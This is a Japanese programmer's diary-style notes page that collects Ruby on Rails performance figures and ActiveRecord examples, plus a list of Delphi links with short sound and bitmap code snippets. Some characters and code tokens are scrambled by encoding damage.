37signalsのBasecampはXeon 2.4GHz dual，メモリー2Gのサーバー2台で40万リクエスト/日を処理している。
他にも43Things.comでも20万リクエスト/日の処理

2005-12-31 - きんきん日記
Basecampはデュアル2.4GHz Xeon、2MBメモリのマシン上で15個のFastCGI プロセスと
50から100個のApache 1.3.xプロセスが動作している2つのWeb/アプリケーションサーバによって、
1日約40万リクエストを処理している。しかし、マシンのロードは通常0.5から1.5程度。
MySQLのサーバは他の2つのアプリケーション(Ta-da ListとBackpack)で共有されていて、最大50万行のテーブルを持っている。
このMySQLは3つのアプリケーションから利用されているが、ロードは0.1から0.3の間で、ボトルネックにはなっていない。

Part2　Rubyに学ぶ「Ruby on Railsの正体」：ITpro
●Railsを使うことで可能になる自然な英文に近い記述
1.day.ago # 現在時刻から1日前を表すTime オブジェクト
10.years.from_now # 現在時刻から10年後を表すTime オブジェクト
1.kilobyte # 1024
●productsテーブルからnameが'book'，priceが2079であるようなProductオブジェクトを読み取り，存在しなかった場合はデータベースにレコードを新規作成する処理
book = Product.find_or_create_by_name_and_price('book', 2079)

Ruby/Ruby on Rails/model/5分でわかるActiveRecord - PukiWiki
モデル.findで、名前がMr.C、年齢が30歳のレコードを検索
friend = Friend.find_by_name_and_age("Mr.C", 30)

2005-11-13 - きんきん日記

Ruby に挑戦
Ruby の配列は賢い
$ irb
irb(main):001:0> a = [ 'dog', 'cat', 'sheep', 'horse' ]
["dog", "cat", "sheep", "horse"]
アルファベット順に並べ変えたいときは
irb(main):004:0> a.sort
["cat", "dog", "horse", "sheep"]
順序を逆にしたいときは
irb(main):005:0> a.reverse
["horse", "sheep", "cat", "dog"]
アルファベット順に並べて、順序を逆にしたいときは
irb(main):006:0> a.sort.reverse
["sheep", "horse", "dog", "cat"]

[Ruby]Ruby Python の比較

Permalink | 記事への反応(3) | 09:06

2007-06-04

■[Delphi]??Delphihacks??Delphi ??Win32API??

Delphi - Wikipedia ??Windows開発の決定版 - Delphi (Skype ??なでしこ )

タグ「delphi」を含む注目エントリー - はてなブックマーク

Delphiアプリケーションのメモリリーク検出法

Delphiアプリケーションのメモリリーク検出法 (山本隆の開発日誌)

作ろう！コンポーネント Delphi C++Builder

http://www.componentsource.co.jp/features/delphi/

TMS Software | Productivity software building blocks

Components > Effects and Multimedia > Video. Torry's Delphi Pages

Components > Effects and Multimedia > Audio. Torry's Delphi Pages

Components > Effects and Multimedia > Voice. Torry's Delphi Pages

Components > Effects and Multimedia > Direct X. Torry's Delphi Pages

try finally end

CとDelphiの対比表

eXeScope(Windows95/98/Me / ユーティリティ)

Delphi - テクノラティブログ検索

2ch検索: [Delphi]

Delphi-ML〓〓〓〓〓〓〓〓〓〓〓??About Delphi

Delphi Q & A掲示板

Delphi Q & A 〓f〓〓〓〓〓〓〓〓〓〓O〓〓(HTML〓o〓[〓W〓〓〓〓)

fdelphi.com

Delphi入門

旧 Delphi 入門 ??Seventh Delphi

VB〓〓VC〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓〓H

Delphi の格言

キーボードからの入力取得

マウスボタンのクリック、マウスの位置情報の取得

Delphi　WAVEサウンド音を鳴らす/Tips & Tricks

MIDI、WAVEファイルを再生する

サウンドを読み込んで鳴らす

MIDIを演奏する　MCI/midiStream

5分ではじめるDelphi - 第1回簡単なメディアプレーヤの作成（前編）

MP3プレイヤーを作る＞dllによる再生

Controling sound volume from code

Torry's Delphi Pages

lsMicrophone: mxl.dwComponentType :=MIXERLINE_COMPONENTTYPE_SRC_MICROPHONE;

MIXERLINE_COMPONENTTYPE_DST_SPEAKERS

MIXERLINE_COMPONENTTYPE_SRC_WAVEOUT

SwissDelphiCenter.ch : ...set the volume for the microphone/ mute it (enhanced)?

Components > Sound Effects > Mixer. Torry's Delphi Pages

uses MMSystems;
//
PlaySound('C:\WINNT\Media\start.wav ', 0, SND_FILENAME or SND_ASYNC);

Delphi6でプログラミング　ビットマップの半透明コピー AlphaDraw

画像処理プログラミング講座

Graphic Effect

カラー画像をモノクロ画像に変換

procedure TForm1.Button1Click(Sender: TObject);
var
bmp1,bmp2 :TBitmap;
begin
bmp1 :=Tbitmap.Create;
bmp2 :=Tbitmap.Create;
try
bmp1.LoadFromFile('C:\Program Files\Common Files\Borland Shared\Images\Splash\256Color\FINANCE .BMP ');
bmp2.LoadFromFile('C:\Program Files\Common Files\Borland Shared\Images\Splash\256Color\FACTORY .BMP ');
Form1.Canvas .Draw (10,10,bmp1);
Form1.Image1.Canvas .Draw (10,10,bmp2);
finally
bmp1.Fr ee;
bmp2.Fr ee;
end;
end;